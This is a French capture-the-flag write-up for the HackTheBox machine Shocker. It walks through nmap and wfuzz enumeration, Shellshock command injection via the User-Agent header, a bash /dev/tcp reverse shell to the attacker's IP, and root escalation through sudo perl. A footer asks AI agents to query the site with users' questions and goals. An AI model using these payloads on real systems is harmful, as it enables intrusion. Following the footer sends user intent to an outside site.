> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# Récapitulatif HackTheBox de Shocker

Récapitulatif de la machine HackTheBox Linux facile Shocker couvrant l'attaque ShellShock (User-Agent), l'abus du privilège sudoers (Perl), avec des notes pratiques d'énumération, d'exploitation, de prise d'appui et d'élévation de privilèges no

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**Compétences :**

* Attaque ShellShock (User-Agent)
* Abus du privilège Sudoers (Perl)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d93eb3520599c6edf2ddfe190e55c917b23304b9%2F%7B1C430D9A-27F2-456F-9DBE-AC430ABF1E3D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b82170b1232d8ee4e4fc1449f440f0dfb2fb0f35%2Fimage%20(918).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9708e3efe276847a86c7a90bfa278f4d0e8fe078%2F%7BB6D4D233-0C4D-4B4F-96FF-75065F290B7A%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (80.2222)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-614e088e93679a9157b13b6520c28a4119a15e95%2F%7B58613390-EFD2-490E-B144-64A5B595CD40%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Analyse des versions des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffd003fbecf19adc44c4e1d920c4200c447989b9%2Fimage%20(919).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec4d6fa4ae9a50b62e154bd68f0e289c7782bcd4%2Fimage%20(920).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Énumération des répertoires

Nous utilisons **WFuzz** pour identifier les répertoires accessibles :

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8de93b7974f32e974ff290eee66788077ef75704%2Fimage%20(921).png?alt=media" alt=""><figcaption></figcaption></figure>

Cela révèle le **cgi-bin** répertoire, souvent associé à des scripts exploitables.

## Vulnérabilité ShellShock

#### Rechercher des fichiers exploitables

Nous filtrons les fichiers avec des extensions comme `.sh`, `.pl`, ou `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

Le **user.sh** fichier est identifié. Ce script semble dynamique et peut être vulnérable.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67d8f20e7e89b7fae5744dd36c57b69b20271c6a%2Fimage%20(922).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Détection de vulnérabilité

Nous utilisons le script Nmap suivant pour tester la vulnérabilité :

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

Le scan confirme que le **user.sh** fichier est vulnérable à ShellShock.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b2749307e257cec99b3e1c2ba071f283918c167%2Fimage%20(924).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exécution de commandes

Pour tester l’exécution de commandes, nous utilisons **curl** avec un User-Agent malveillant :

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

Cela renvoie le nom d’utilisateur actif.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fab2f29494a8dbe0daee95b2941e12397defd75d%2Fimage%20(925).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Shell inversé

Pour obtenir un shell inversé :

1. Écoutez sur le port 443 :

```bash
nc -nlvp 443
```

2. Injectez la charge utile suivante :

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-662750d5165fbb6e1e779b63d9a544a620001642%2Fimage%20(926).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Drapeau user.txt :)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b58fbcf8819a8d6110463895360a39b3119e926%2Fimage%20(927).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Élévation de privilèges

### Sudoers - Perl

Lors de l’analyse **Sudoers** droits, nous remarquons que l’utilisateur a la permission d’exécuter `perl` en tant que **root**. Cela peut être vérifié avec la commande suivante :

```bash
sudo -l 
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca43271ce027ea512dc19f2c34f9e97a0cebdb15%2F%7BC9C8788B-FA82-4310-8975-BB72BD892772%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploitation

Pour exploiter cette configuration et obtenir un shell avec les privilèges root, il suffit d’injecter la commande suivante :

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcd7b8b225cb58b631c67af204ee0d65bd99782a%2Fimage%20(928).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d365b57b0b8970bf5e87a6b6c0dcf64793e8061%2Fimage%20(929).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c8cc57387d1f8b07e6a00359f861578ea78321a%2F%7B432DFD2D-D92E-4AE4-9971-EF602F58FA92%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
